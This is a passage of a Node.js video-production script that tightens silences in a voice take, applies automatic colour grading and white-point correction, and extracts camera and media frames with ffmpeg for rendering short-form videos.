//   node short.mjs stills  <project> [t...]     render PNG stills (SHORT time; suffix "s" = source time) + contact sheet
//   node short.mjs capture <project> <page.html> --dur <s> [--size 1080x1920] [--alpha] [--out assets/x.mov] [--at t,t]  HTML motion component (window.setT) -> clip + sheet
//   node short.mjs render  <project> [--scale .5] [--fps 30] [--from a --to b] [--workers 2] [--jpeg] [--eco] [--out file.mp4]
//   node short.mjs audio   <project>            music bed + SFX + ducked voice -> assets/mix.wav
//   node short.mjs final   <project>            mux, poster, QC -> output/<slug>.mp4
//   node short.mjs all     <project>            render (audio mixed beside it) + final
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import http from 'node:http';
import vm from 'node:vm';
import crypto from 'node:crypto';
import { spawn, spawnSync, execFileSync } from 'node:child_process';
import { fileURLToPath, pathToFileURL } from 'node:url';
import { mapper, mapSpec } from './lib/timeline.js';
import { withStyle } from './lib/style.js';
import { openChrome } from './chrome.mjs';
import { CHROME, FFMPEG, FFPROBE, eco, h264, hasEncoder, visionTool } from './platform.mjs';

const ENGINE = path.dirname(fileURLToPath(import.meta.url));
const FPS = 30, SR = 48000;
const BT709 = ['-color_range', 'tv', '-colorspace', 'bt709', '-color_primaries', 'bt709', '-color_trc', 'bt709'];

const argv = process.argv.slice(2);
const cmd = argv[0], PROJ = argv[1] && path.resolve(argv[1].replace(/^~/, os.homedir()));
const flag = (k, d) => { const i = argv.indexOf('--' + k); return i < 0 ? d : (argv[i + 1] && !argv[i + 1].startsWith('--') ? argv[i + 1] : true); };
const pos = argv.slice(2).filter((a, i, A) => !a.startsWith('--') && !(A[i - 1] || '').startsWith('--'));
if (!cmd || !PROJ) { console.log(fs.readFileSync(fileURLToPath(import.meta.url), 'utf8').split('\n').slice(1, 10).join('\n')); process.exit(1); }

// Be a good citizen: low priority for us and every child (ffmpeg, Chrome inherit it).
try { os.setPriority(0, 15); } catch {}
if (flag('eco')) eco();

const P = (...a) => path.join(PROJ, ...a);
const readJSON = f => JSON.parse(fs.readFileSync(f, 'utf8'));
// source/style.json (creator style snapshot, lib/style.js) fills what the spec leaves out; absent = legacy project
const loadStyle = () => fs.existsSync(P('source/style.json')) ? readJSON(P('source/style.json')) : null;
// the style's illustration library (<profile>/styles/<style>/illustrations/library, engine/library.mjs): an
// assets/images/<name> missing from the project is read there, so a spec can use any illustration of its style
let libMemo;
const styleLib = () => libMemo !== undefined ? libMemo : (libMemo = (() => {
  const name = String(loadStyle()?.name || '').toLowerCase(), dir = path.join(HOME(), 'styles');
  if (!name || !fs.existsSync(dir)) return null;
  const nameOf = d => { try { return String(readJSON(path.join(d, 'style.json')).name || '').toLowerCase(); } catch { return ''; } };
  const d = fs.readdirSync(dir).map(n => path.join(dir, n)).find(d => nameOf(d) === name || path.basename(d).toLowerCase() === name);
  return d && fs.existsSync(path.join(d, 'illustrations/library')) ? path.join(d, 'illustrations/library') : null;
})());
const projFile = r => {
  const f = path.resolve(PROJ, r), img = path.join(PROJ, 'assets/images') + path.sep;
  if (fs.existsSync(f) || !f.startsWith(img) || !styleLib()) return f;
  const g = path.join(styleLib(), f.slice(img.length));
  return fs.existsSync(g) ? g : f;
};
const loadSpec = () => { const ctx = { window: {} }; vm.runInNewContext(fs.readFileSync(P('source/spec.js'), 'utf8'), ctx); return withStyle(ctx.window.SPEC, loadStyle()); };
// spec.format: 'square' renders 1080x1080 (X feed), 'wide' 1920x1080 (16:9), 'youtube' 1920x1080 long-form
// (lib/runtime-yt.js: a 1080x1080 paper stage left of the camera), default is the 1080x1920 short.
const frameWH = () => ({ square: [1080, 1080], wide: [1920, 1080], youtube: [1920, 1080] })[loadSpec().format] || [1080, 1920];
// the scenes' stage: format 'youtube' draws them on a 1080x1080 square, composited into the 1920x1080 frame
const stageWH = () => loadSpec().format === 'youtube' ? [1080, 1080] : frameWH();
const frameH = () => frameWH()[1];
const expand = p => p.replace(/^~/, os.homedir());
const ff = (args, o = {}) => execFileSync(FFMPEG, ['-hide_banner', '-loglevel', 'error', '-y', ...args], { stdio: ['ignore', 'inherit', 'inherit'], ...o });
const probe = (f, e = 'format=duration') => execFileSync(FFPROBE, ['-v', 'error', '-show_entries', e, '-of', 'default=nw=1:nk=1', f]).toString().trim();
const snap = x => Math.round(x * FPS) / FPS;
const log = (...a) => console.log('[short]', ...a);
const md5 = b => crypto.createHash('md5').update(b).digest('hex');
const pad5 = i => String(i).padStart(5, '0');

// ---------------------------------------------------------------- prepare
// Loudness of the source voice in 10 ms frames (dB), used to find the real silences between words.
function voiceFrames() {
  const raw = execFileSync(FFMPEG, ['-v', 'error', '-i', P('assets/source.wav'), '-f', 'f32le', '-ac', '1', '-ar', '16000', '-'], { maxBuffer: 1 << 30 });
  const x = new Float32Array(raw.buffer, raw.byteOffset, raw.length / 4), hop = 160, db = new Float32Array(Math.floor(x.length / hop));
  for (let f = 0; f < db.length; f++) { let e = 0; for (let i = f * hop; i < (f + 1) * hop; i++) e += x[i] * x[i]; db[f] = 10 * Math.log10(e / hop + 1e-12); }
  const ref = Float32Array.from(db).sort()[Math.floor(db.length * .95)];
  return { db, quiet: ref - 21, dt: .01 };
}

function tighten(spec) {
  // Micro-silence cutter. At every word boundary, find the longest truly quiet run in the audio (21 dB under the
  // voice) and cut it down to pOut + pIn: a tiny breath, never a clipped consonant. g = the breath budget for that
  // boundary (sentence / comma / word). speed > 1 plays the whole short faster.
  // Long-form: T.gap = only quiet runs longer than this are cut (natural breathing stays, a few cuts per minute instead
  // of a jump every sentence), T.minKeep = a keep shorter than this folds into its neighbour across an automatic gap
  // (never across spec.cut), T.paper = { sentence, comma, word, gap } overrides where the layout shows full paper
  // (face hidden, a tighter cut is invisible).
  const T = { sentence: .10, comma: .06, word: .03, lead: .03, tail: .9, gap: 0, minKeep: 0, ...(spec.tighten || {}) };
  const LK = spec.layout?.keys || [];
  const layAt = t => { let x = 0; for (const [kt, kx] of LK) { if (kt <= t) x = kx; else break; } return x; };
  const sp = spec.speed || 1;
  const words = readJSON(P('assets/words-scribe.json')).words.filter(w => w.type === 'word');
  const dur = +probe(P('assets/source.mp4'));
  const V = voiceFrames();
  const quietRun = (t0, t1) => {
    let best = null, st = -1;
    const f0 = Math.max(0, Math.floor(t0 / V.dt)), f1 = Math.min(V.db.length, Math.ceil(t1 / V.dt));
    for (let f = f0; f <= f1; f++) {
      const q = f < f1 && V.db[f] < V.quiet;
      if (q && st < 0) st = f;
      if (!q && st >= 0) { if (!best || f - st > best[1] - best[0]) best = [st, f]; st = -1; }
    }
    return best && [best[0] * V.dt, best[1] * V.dt];
  };
  const quietShare = (t0, t1) => {
    const f0 = Math.max(0, Math.floor(t0 / V.dt)), f1 = Math.min(V.db.length, Math.ceil(t1 / V.dt));
    if (f1 <= f0) return 1;
    let n = 0; for (let f = f0; f < f1; f++) n += V.db[f] < V.quiet; return n / (f1 - f0);
  };
  let keeps = [], a = Math.max(0, words[0].start - T.lead);
  for (let i = 0; i < words.length - 1; i++) {
    const c = words[i], n = words[i + 1];
    const TT = T.paper && layAt(c.end) >= 1920 ? { ...T, ...T.paper } : T;
    const g = /[.!?…]$/.test(c.text) ? TT.sentence : /[,;:]$/.test(c.text) ? TT.comma : TT.word;
    const pOut = Math.max(.035, g * .6), pIn = Math.max(.025, g * .4);
    // cut = the wider of the quiet run in the audio and the gap between the word timings
    // the word-timing gap only counts when the audio there is really quiet: Scribe often ends a word early or starts the
    // next one late ("10 M" = "dix millions" with "mil-" outside both words), and cutting that gap clipped the word
    const qa = quietRun(c.end - .06, n.start + .06), qw = quietShare(c.end, n.start) >= .5 ? [c.end, n.start] : null;
    const q = qa && (!qw || qa[1] - qa[0] > qw[1] - qw[0]) ? qa : qw;
    if (q && q[1] - q[0] > Math.max(pOut + pIn + .02, TT.gap)) { keeps.push([a, q[0] + pOut]); a = q[1] - pIn; }
  }
  keeps.push([a, Math.min(dur, words.at(-1).end + T.tail)]);
  // spec.hold: [[a, b]] SOURCE ranges kept verbatim, silences included (a sung rhythm, a beat left for an effect)
  for (const [ha, hb] of spec.hold || []) keeps.push([ha, hb]);
  keeps.sort((x, y) => x[0] - y[0]);
  for (const [ca, cb] of spec.cut || []) keeps = keeps.flatMap(([a, b]) => cb <= a || ca >= b ? [[a, b]] : [[a, ca], [cb, b]].filter(([x, y]) => y - x > .02));
  keeps = keeps.map(([a, b]) => [snap(a), snap(b)]).filter(([a, b]) => b > a);
  const merged = [];
  for (const k of keeps) { const l = merged.at(-1); if (l && k[0] <= l[1]) l[1] = Math.max(l[1], k[1]); else merged.push(k); }
  if (T.minKeep) {   // fold a too-short keep into the neighbour with the smaller automatic gap (the silence comes back)
    const userGap = (a, b) => (spec.cut || []).some(([ca, cb]) => ca < b && cb > a);
    for (let i = 0; i < merged.length;) {
      const [a, b] = merged[i], p = merged[i - 1], n = merged[i + 1];
      const gp = p && !userGap(p[1], a) ? a - p[1] : Infinity, gn = n && !userGap(b, n[0]) ? n[0] - b : Infinity;
      if (b - a >= T.minKeep || (gp === Infinity && gn === Infinity)) { i++; continue; }
      if (gp <= gn) { p[1] = b; merged.splice(i, 1); i--; } else { merged[i][1] = n[1]; merged.splice(i + 1, 1); }
    }
  }
  // spec.pause: the whole short stops at SOURCE time `at` for the length of an inserted voice (a narrator),
  // then resumes. The keep that contains `at` is split so the pause lands exactly there.
  const PZ = spec.pause && { ...spec.pause, at: snap(spec.pause.at) };
  if (PZ) {
    PZ.words = PZ.words ? readJSON(P(PZ.words)) : [];
    PZ.dur = snap(+probe(P(PZ.voice)) + (PZ.tail ?? .12));
    const i = merged.findIndex(([a, b]) => PZ.at > a && PZ.at < b);
    if (i >= 0) merged.splice(i, 1, [merged[i][0], PZ.at], [PZ.at, merged[i][1]]);
  }
  // spec.inserts: [{at, voice, tail?, gain?}] short voice clips (a chapter line, "Piège numéro deux") dropped between
  // two sentences at SOURCE time `at`: the short makes room for each one, the camera holds its frame, the music runs
  // on (no grey drain, no tape stop). Time slots take 'iK+X' = X seconds into insert K.
  const INS = (spec.inserts || []).map((v, k) => ({ k, at: snap(v.at), dur: snap(+probe(P(v.voice)) + (v.tail ?? .12)) }));
  for (const v of INS) {
    const i = merged.findIndex(([a, b]) => v.at > a && v.at < b);
    if (i >= 0) merged.splice(i, 1, [merged[i][0], v.at], [v.at, merged[i][1]]);
  }
  // o = SHORT-time start of each keep (already divided by speed)
  let off = 0, pause = null;
  const ins = [], todo = [...INS].sort((x, y) => x.at - y.at);
  const K = merged.map(([a, b]) => {
    if (PZ && !pause && a >= PZ.at) { pause = { t0: snap(off), dur: PZ.dur, at: PZ.at }; off = pause.t0 + PZ.dur; }
    while (todo.length && a >= todo[0].at) { const v = todo.shift(); ins[v.k] = { t0: snap(off), dur: v.dur, at: v.at }; off = ins[v.k].t0 + v.dur; }
    const r = [a, b, +off.toFixed(6)]; off += (b - a) / sp; return r;
  });
  for (const v of todo) { ins[v.k] = { t0: snap(off), dur: v.dur, at: v.at }; off += v.dur; }
  // spec.outro: seconds added after the last word (an end card): silent voice, the camera holds its last frame
  const OUT = Math.max(0, +spec.outro || 0);
  const tl = { fps: FPS, speed: sp, duration: +(off + OUT).toFixed(6), source: +dur.toFixed(3), keeps: K, words: [] };
  if (pause) tl.pause = pause;
  if (INS.length) tl.inserts = ins;
  if (OUT) tl.outro = { t0: +off.toFixed(6), dur: OUT };
  const m = mapper(tl);
  // words inside a spec.cut never reach the captions. A word the micro-silence cutter swallowed (Scribe gave a fast
  // "je", "me", "que" a sliver in a quiet run, the real voice sits next to its neighbour) folds into that neighbour.
  const mid = w => (w.start + w.end) / 2;
  const kept = w => K.some(([a, b]) => mid(w) >= a && mid(w) <= b);
  const userCut = w => (spec.cut || []).some(([a, b]) => mid(w) >= a && mid(w) <= b);
  const ws = [];
  let carry = '';
  for (const w of words) {
    if (userCut(w)) continue;
    if (!kept(w)) {
      const l = ws.at(-1);
      if (l && !/[.!?…]$/.test(l.text) && w.start - l.e0 < .6) l.text += ' ' + w.text;
      else carry += w.text + ' ';
      continue;
    }
    ws.push({ text: carry + w.text, start: +m(w.start).toFixed(3), end: +m(w.end).toFixed(3), s0: w.start, e0: w.end });
    carry = '';
  }
  tl.words = ws;
  if (pause) {   // narrator words, in SHORT time, with s0 = null (words.md prints them as p+X)
    tl.words.push(...PZ.words.map(w => ({ text: w.text, start: +(pause.t0 + w.start).toFixed(3), end: +(pause.t0 + w.end).toFixed(3), s0: null, e0: null, narrator: true })));
    tl.words.sort((x, y) => x.start - y.start);
  }
  return tl;
}

function spliceVoice(tl) {
  const raw = execFileSync(FFMPEG, ['-v', 'error', '-i', P('assets/source.wav'), '-f', 'f32le', '-ac', '1', '-ar', String(SR), '-'], { maxBuffer: 1 << 30 });
  const src = new Float32Array(raw.buffer, raw.byteOffset, raw.length / 4), sp = tl.speed || 1;
  const N = Math.round(tl.duration * sp * SR), out = new Float32Array(N), F = Math.round(.006 * SR);
  for (const [a, b, o] of tl.keeps) {
    const s0 = Math.round(a * SR), n = Math.round((b - a) * SR), d0 = Math.round(o * sp * SR);
    for (let i = 0; i < n && d0 + i < N; i++) {
      const g = Math.min(1, (i + 1) / F, (n - i) / F);
      out[d0 + i] = (src[s0 + i] || 0) * (a === 0 && i < F ? 1 : g);
    }
  }
  const tmp = P('assets/voice.f32');
  fs.writeFileSync(tmp, Buffer.from(out.buffer));
  ff(['-f', 'f32le', '-ar', String(SR), '-ac', '1', '-i', tmp, ...(sp !== 1 ? ['-af', `atempo=${sp}`] : []), '-c:a', 'pcm_s16le', P('assets/voice.wav')]);
  fs.unlinkSync(tmp);
}

// the source voice track (words makes it too); words from elsewhere skip that step
function sourceWav() {
  const wav = P('assets/source.wav');
  if (!fs.existsSync(wav) || fs.statSync(wav).mtimeMs < fs.statSync(P('assets/source.mp4')).mtimeMs)
    ff(['-i', P('assets/source.mp4'), '-vn', '-ac', '1', '-ar', '48000', '-c:a', 'pcm_s16le', wav]);
}

// ffmpeg select expression keeping the timeline's SOURCE ranges
function keepSelect(tl) {
  // balanced (a+b)+(c+d) tree: a flat a+b+c+... sum of ~100+ keeps overflows ffmpeg's expression parser
  const tree = a => a.length === 1 ? a[0] : `(${tree(a.slice(0, a.length >> 1))}+${tree(a.slice(a.length >> 1))})`;
  // a - .001: a keep starting on a frame whose time rounds up at 4 decimals would lose that frame (1 per keep, ~0.7 s drift)
  return tree(tl.keeps.map(([a, b]) => `between(t,${(a - .001).toFixed(4)},${(b - .001).toFixed(4)})`));
}

// grade: true = the default look, fitted to the take's exposure: it measures the face (a box under cam.eyes, median of 5
// frames). DIM (face luma <= 80, a dim warm room): brighter face and mids, solid blacks, 0.84 saturation so the wood and
// lamps stop glowing orange, a slight cool shift. NATURAL (face luma >= 100, every normal take): no colour shift at all,
// 0.96 saturation, the black point stays, and a gentle mids lift that fades out as the take gets brighter (full at face
// luma 108 or less, none at 128). 80 to 100 blends the two. Both add a touch of clarity. A string = your own ffmpeg filter
// chain, false/absent = the raw take. Baked into frames/cam (and so into the cutout matte); prepare writes stills/grade.jpg
// (raw | graded, same frame) to check it. Rejected: a contrasty cool grade ("trop saturé, pas assez lumineux"), the DIM lift
// on a well lit take ("les couleurs de la caméra sont pas bonnes": washed out face, pale greenish skin), then the old
// DIM/LIT blend on a 108 take (red cut in the mids, lifted blacks: grey washed out skin, "les couleurs de la caméra sont
// pas top", 2026-10-10).
const GRADE_X = [0, .12, .3, .5, .75];
const DIM = { rs: -.025, bs: .015, rm: -.035, bm: .01, curve: [.012, .18, .46, .69, .89], sat: .84 };
const NAT = { rs: 0, bs: 0, rm: 0, bm: 0, lift: [0, .005, .025, .04, .03], sat: .96 };
function faceLuma(spec) {   // mean luma (0-255) of a box on the face, median over 5 frames; null when it cannot measure
  const [cx, cy, cw, ch] = spec.cam?.crop || [400, 0, 1200, 1080], [ex, ey] = spec.cam?.eyes || [cw / 2, ch * .4];
  const s = Math.round(ch * .22), x = Math.max(0, Math.round(cx + ex - s / 2)), y = Math.max(0, Math.round(cy + ey - s / 4));
  try {
    const d = +execFileSync(FFPROBE, ['-v', 'error', '-show_entries', 'format=duration', '-of', 'csv=p=0', P('assets/source.mp4')]).toString().trim();
    const ys = [.2, .35, .5, .65, .8].map(p => {
      const out = execFileSync(FFMPEG, ['-hide_banner', '-loglevel', 'error', '-ss', (d * p).toFixed(2), '-i', P('assets/source.mp4'), '-frames:v', '1',
        '-vf', `crop=${s}:${s}:${x}:${y},signalstats,metadata=print:file=-`, '-f', 'null', '-']).toString();
      return +(out.match(/YAVG=([\d.]+)/)?.[1] ?? NaN);
    }).filter(Number.isFinite).sort((a, b) => a - b);
    return ys.length ? ys[ys.length >> 1] : null;
  } catch { return null; }
}
// white point: a webcam balanced for the warm lamp turns a white cap or shirt lit by the window mint/cyan ("les couleurs
// sont pas top"). Mean of the near-white pixels on him (a box under cam.eyes, skips the wood and the lamp-lit wall),
// 5 frames; each channel's highlights are bent so that white reads neutral (at most .07), the shadows and mids barely move,
// so the skin and the wood keep their colour. cam.wb: false turns it off. Returns a curves filter or ''.
function whitePoint(spec) {
  if (spec.cam?.wb === false) return '';
  const [cx, cy, cw, ch] = spec.cam?.crop || [400, 0, 1200, 1080], [ex, ey] = spec.cam?.eyes || [cw / 2, ch * .4];
  const bw = Math.round(cw * .5), bx = Math.round(Math.min(Math.max(0, ex - bw / 2), cw - bw)), by = Math.round(Math.max(0, ey - ch * .35)), bh = ch - by;
  try {
    const d = +execFileSync(FFPROBE, ['-v', 'error', '-show_entries', 'format=duration', '-of', 'csv=p=0', P('assets/source.mp4')]).toString().trim();
    const sum = [0, 0, 0]; let n = 0, all = 0;
    for (const p of [.2, .35, .5, .65, .8]) {
      const px = execFileSync(FFMPEG, ['-hide_banner', '-loglevel', 'error', '-ss', (d * p).toFixed(2), '-i', P('assets/source.mp4'), '-frames:v', '1',
        '-vf', `crop=${bw}:${bh}:${cx + bx}:${cy + by},scale=96:-2:in_color_matrix=${srcMatrix()}:in_range=tv,format=rgb24`, '-f', 'rawvideo', '-'], { maxBuffer: 1 << 24 });
      for (let i = 0; i + 2 < px.length; i += 3) {
        const r = px[i], g = px[i + 1], b = px[i + 2], lo = Math.min(r, g, b), hi = Math.max(r, g, b); all++;
        if (lo > 140 && hi < 252 && hi - lo < 55) { sum[0] += r; sum[1] += g; sum[2] += b; n++; }
      }
    }
    if (n < all * .02) return '';
    const w = sum.map(v => v / n / 255), t = (w[0] + w[1] + w[2]) / 3, f = v => +v.toFixed(3);
    if (Math.max(...w.map(v => Math.abs(t - v))) < .012) return '';
    const ch3 = ['r', 'g', 'b'].map((c, i) => {
      const dv = Math.max(-.07, Math.min(.07, t - w[i]));
      return `${c}='0/0 .5/${f(.5 + dv * .3)} ${f(w[i])}/${f(w[i] + dv)} 1/${f(dv < 0 ? 1 + dv * .25 : 1)}'`;
    });
    log(`grade: white point ${w.map(v => Math.round(v * 255)).join(',')} -> neutral`);
    return `curves=${ch3.join(':')}`;
  } catch { return ''; }
}
let gradeMemo = null;
function gradeOf(spec) {
  if (spec.grade !== true) return typeof spec.grade === 'string' && spec.grade.trim() ? spec.grade.trim() : '';
  if (gradeMemo != null) return gradeMemo;
  const y = faceLuma(spec), cl = v => Math.min(1, Math.max(0, v));
  const k = y == null ? 0 : cl((100 - y) / 20), a = y == null ? 1 : cl((128 - y) / 20);   // k: 1 = DIM, 0 = NATURAL; a: NATURAL's lift
  const mix = (d, n) => +(n + (d - n) * k).toFixed(3);
  const curve = GRADE_X.map((x, i) => `${x}/${mix(DIM.curve[i], x + NAT.lift[i] * a)}`).join(' '), wp = whitePoint(spec);
  const cb = ['rs', 'bs', 'rm', 'bm'].map(c => [c, mix(DIM[c], NAT[c])]).filter(([, v]) => v);
  log(`grade: face luma ${y == null ? '?' : y.toFixed(0)} -> ${k >= .99 ? 'dim room' : k > .01 ? `blend ${k.toFixed(2)} dim` : `natural, lift ${a.toFixed(2)}`}`);
  return gradeMemo = (wp ? wp + ',' : '') + (cb.length ? `colorbalance=${cb.map(([c, v]) => `${c}=${v}`).join(':')},` : '')
    + `curves=master='${curve} 1/1',eq=saturation=${mix(DIM.sat, NAT.sat)},unsharp=5:5:.3`;
}
// stills/grade.jpg: the same frame of the take raw (left) and graded (right), to check the skin at every prepare
function gradeSheet(spec, g) {
  const [cx, cy, cw, ch] = spec.cam?.crop || [400, 0, 1200, 1080], m = srcMatrix();
  try {
    const d = +execFileSync(FFPROBE, ['-v', 'error', '-show_entries', 'format=duration', '-of', 'csv=p=0', P('assets/source.mp4')]).toString().trim();
    fs.mkdirSync(P('stills'), { recursive: true });
    ff(['-ss', (d * .35).toFixed(2), '-i', P('assets/source.mp4'), '-frames:v', '1', '-filter_complex',
      `[0]crop=${cw}:${ch}:${cx}:${cy},split[a][b];[a]scale=in_color_matrix=${m}:in_range=tv,format=gbrp,scale=out_color_matrix=bt601:out_range=pc,format=yuvj420p,scale=720:-2[r];`
      + `[b]${gradeChain(g)},scale=720:-2[g];[r][g]hstack`, '-q:v', '3', P('stills/grade.jpg')]);
    log('grade: stills/grade.jpg (raw | graded)');
  } catch { }
}
// a graded take is decoded to RGB with its real matrix (untagged HD = BT.709, as players show it), then written as JPEG (BT.601 full range)
function srcMatrix() {
  const [cs, h] = execFileSync(FFPROBE, ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=color_space,height', '-of', 'default=nw=1:nk=1', P('assets/source.mp4')]).toString().trim().split('\n');
  return ({ bt709: 'bt709', smpte170m: 'bt601', bt470bg: 'bt601', bt2020nc: 'bt2020' })[cs] || (+h >= 720 ? 'bt709' : 'bt601');
}
function gradeChain(g) {
  return `scale=in_color_matrix=${srcMatrix()}:in_range=tv,format=gbrp,${g},scale=out_color_matrix=bt601:out_range=pc,format=yuvj420p`;
}

function extractCam(spec, tl) {
  const [cx, cy, cw, ch] = spec.cam?.crop || [400, 0, 1200, 1080], g = gradeOf(spec);
  const dir = P('frames/cam'); fs.rmSync(dir, { recursive: true, force: true }); fs.mkdirSync(dir, { recursive: true });
  const sel = keepSelect(tl);
  // software decode on all cores: 6 s for a 143 s HEVC take, VideoToolbox (copy-back) and -threads 4 are ~8 s
  // fps= BEFORE select: a VFR phone/Tella take is first put on the exact 30 fps grid, so every keep yields exactly
  // (b - a) * 30 frames and the picture never drifts from the voice (select on raw VFR lost ~7 frames over 12 min).
  // spec.cam.q = JPEG quality (2 = near lossless for long-form, 3 = default)
  ff(['-threads', '0', '-i', P('assets/source.mp4'), '-vf', `fps=${FPS},select='${sel}',setpts=N/${FPS * (tl.speed || 1)}/TB,fps=${FPS},crop=${cw}:${ch}:${cx}:${cy}${g ? ',' + gradeChain(g) : ''}`,
    '-fps_mode', 'passthrough', '-an', '-q:v', String(spec.cam?.q ?? 3), '-start_number', '0', path.join(dir, '%05d.jpg')]);
  let n = fs.readdirSync(dir).filter(f => f.endsWith('.jpg')).length;
  // freeze (spec.pause, spec.inserts), earliest first: shift every frame after the gap, then fill it with the last frame before it
  for (const g of [tl.pause, ...(tl.inserts || [])].filter(Boolean).sort((x, y) => x.t0 - y.t0)) {
    const i0 = Math.round(g.t0 * FPS), k = Math.round(g.dur * FPS), f = i => path.join(dir, `${String(i).padStart(5, '0')}.jpg`);
    for (let i = n - 1; i >= i0; i--) fs.renameSync(f(i), f(i + k));
    for (let i = i0; i < i0 + k; i++) fs.linkSync(f(Math.max(0, i0 - 1)), f(i));
    n += k;
  }
  return n;
}

// media.sync: true = a second track of the take (a screen recording on the same clock as source.mp4): it is cut like
// the camera, frames indexed in SHORT time, only over media.spans [[a, b]] (SOURCE s, default the whole take).
function extractSynced(m, dir, tl, fill, w) {
  const sp = tl.speed || 1, spans = m.spans || [[0, 1e9]];
  for (const [a, b, o] of tl.keeps) for (const [sa, sb] of spans) {
    const a1 = Math.max(a, sa), b1 = Math.min(b, sb); if (b1 - a1 < 1 / FPS) continue;
    const n0 = Math.round((o + (a1 - a) / sp) * FPS), n = Math.round((o + (b1 - a) / sp) * FPS) - n0; if (n < 1) continue;
    ff(['-threads', '4', '-ss', String(a1), '-i', path.resolve(PROJ, expand(m.src)), '-vf', `setpts=(PTS-STARTPTS)/${sp},fps=${FPS},${fill}scale=${w}:-2:flags=lanczos`,
      '-frames:v', String(n), '-an', '-q:v', String(m.q ?? 2), '-start_number', String(n0), path.join(dir, '%05d.jpg')]);
  }
}
// spec.vanish.plate: the empty room (one frame of the take at its own size, the speaker removed) goes through the same
// crop and grade as the camera, so it lines up with frames/cam pixel for pixel -> frames/plate.jpg
function plateFrame(spec) {
  const src = spec.vanish?.plate; if (!src) return;
  const [cx, cy, cw, ch] = spec.cam?.crop || [400, 0, 1200, 1080], g = gradeOf(spec);
  const [sw, sh] = execFileSync(FFPROBE, ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=width,height', '-of', 'csv=p=0', P('assets/source.mp4')]).toString().trim().split(',');
  ff(['-i', P(src), '-frames:v', '1', '-vf', `scale=${sw}:${sh},crop=${cw}:${ch}:${cx}:${cy}${g ? ',' + gradeChain(g) : ''}`, '-q:v', '2', P('frames/plate.jpg')]);
  log('vanish: plate -> frames/plate.jpg');
}
// true when every use of media `id` in the spec is an `overlay` scene's media (the only draw that maps a cropped frame
// back to its place); any other mention of the id (an actor, a card, a tweet avatar, a list) keeps the whole frame
function overlayOnly(spec, id) {
  let ok = false;
  const walk = (o, k, parent) => {
    if (o === id) { if (k === 'media' && parent?.type === 'overlay' && !Array.isArray(parent)) ok ||= true; else throw 0; return; }
    if (o && typeof o === 'object') for (const [kk, v] of Object.entries(o)) walk(v, kk, o);
  };
  try { for (const [k, v] of Object.entries(spec)) if (k !== 'media') walk(v, k, spec); } catch { return false; }
  return ok;
}
// alpha media drawn only by overlay scenes: the box that is ever visible (alpha > 0 on any frame, + 2 px so edge
// filtering stays the same), measured on the exact frames the extraction makes (same input, same -vf).
// -> {box: [x, y, w, h], w, h (the whole frame)}, or null when the box would save under 10 % of the pixels
function alphaBox(input, vf) {
  const r = spawnSync(FFMPEG, ['-hide_banner', ...input, '-vf', vf + ',alphaextract,bbox=min_val=1', '-an', '-f', 'null', '-'], { encoding: 'utf8', maxBuffer: 1 << 28 });
  const size = r.stderr.match(/Output #0[\s\S]*?Stream #0:0[^\n]*?, (\d+)x(\d+)/);
  if (r.status || !size) return null;
  const W0 = +size[1], H0 = +size[2];
  let x1 = 1e9, y1 = 1e9, x2 = -1, y2 = -1;
  for (const m of r.stderr.matchAll(/x1:(\d+) x2:(\d+) y1:(\d+) y2:(\d+)/g)) {
    const [a, b, c, d] = m.slice(1).map(Number); if (b < a || d < c) continue;
    x1 = Math.min(x1, a); x2 = Math.max(x2, b); y1 = Math.min(y1, c); y2 = Math.max(y2, d);
  }
  if (x2 < 0) return null;
  x1 = Math.max(0, x1 - 2); y1 = Math.max(0, y1 - 2); x2 = Math.min(W0 - 1, x2 + 2); y2 = Math.min(H0 - 1, y2 + 2);
  const box = [x1, y1, x2 - x1 + 1, y2 - y1 + 1];
  return box[2] * box[3] > .9 * W0 * H0 ? null : { box, w: W0, h: H0 };
}
// frames identical to an earlier one (a UI holding still, a frozen B-roll) -> {frame: first identical frame}: the page
// fetches and decodes each picture once (mediaURL in the runtimes)
function repeats(dir) {
  const alias = {}, seen = new Map();
  for (const f of fs.readdirSync(dir).sort()) {
    const i = parseInt(f, 10); if (!(i >= 0)) continue;
    const h = md5(fs.readFileSync(path.join(dir, f))); if (seen.has(h)) alias[i] = seen.get(h); else seen.set(h, i);
  }
  return alias;
}
function extractMedia(spec, prev, tl) {
  const out = {};
  for (const [id, m] of Object.entries(spec.media || {})) {
    // the key holds the file's size and mtime too: a clip re-encoded under the same name (a component captured again) is re-extracted
    const fp = path.resolve(PROJ, expand(m.src)), fst = fs.existsSync(fp) ? fs.statSync(fp) : null, stamp = fst && [fst.size, Math.round(fst.mtimeMs)];
    const crops = !!m.alpha && !m.sync && overlayOnly(spec, id);
    const key = JSON.stringify(m.sync ? [m, tl.keeps, tl.speed, stamp] : [m, stamp, ...(crops ? ['crop1'] : [])]), dir = P('frames/media', id);
    if (prev?.[id]?.key === key && fs.existsSync(dir)) { out[id] = { ...prev[id], alias: prev[id].alias || repeats(dir) }; continue; }
    fs.rmSync(dir, { recursive: true, force: true }); fs.mkdirSync(dir, { recursive: true });
    // fill: true crops the clip to the frame's aspect first (full-screen B-roll, spec.broll), around focus [x, y] (0..1)
    const [FW, FH] = frameWH(), [fx, fy] = m.focus || [.5, .5], w = m.width || (m.fill ? FW : 960);
    const fill = m.fill ? `crop='min(iw,ih*${FW}/${FH})':'min(ih,iw*${FH}/${FW})':'(iw-ow)*${fx}':'(ih-oh)*${fy}',` : '';
    // alpha: true keeps the clip's transparency (a UI overlay rendered on a transparent background, e.g. a png-in-mov or a
    // ProRes 4444) as RGBA PNG frames, for the `overlay` scene; every other clip is JPG
    const ext = m.alpha ? 'png' : 'jpg', enc = m.alpha ? ['-pix_fmt', 'rgba'] : ['-q:v', '1', '-qmin', '1'];
    let crop = null;
    if (m.sync) extractSynced(m, dir, tl, fill, w);
    else {
      const input = ['-threads', '4', ...(m.from ? ['-ss', String(m.from)] : []), ...(m.dur ? ['-t', String(m.dur)] : []), '-i', path.resolve(PROJ, expand(m.src))];
      let vf = `fps=${FPS},${fill}scale=${w}:-2:flags=lanczos${m.alpha ? ',format=rgba' : ''}`;
      // an overlay is mostly transparent: only its visible box is stored (about half the pixels to decode and draw per frame)
      if (crops && (crop = alphaBox(input, vf))) vf += `,crop=${crop.box[2]}:${crop.box[3]}:${crop.box[0]}:${crop.box[1]}`;
      ff([...input, '-vf', vf, '-an', ...enc, '-start_number', '0', path.join(dir, `%05d.${ext}`)]);
    }
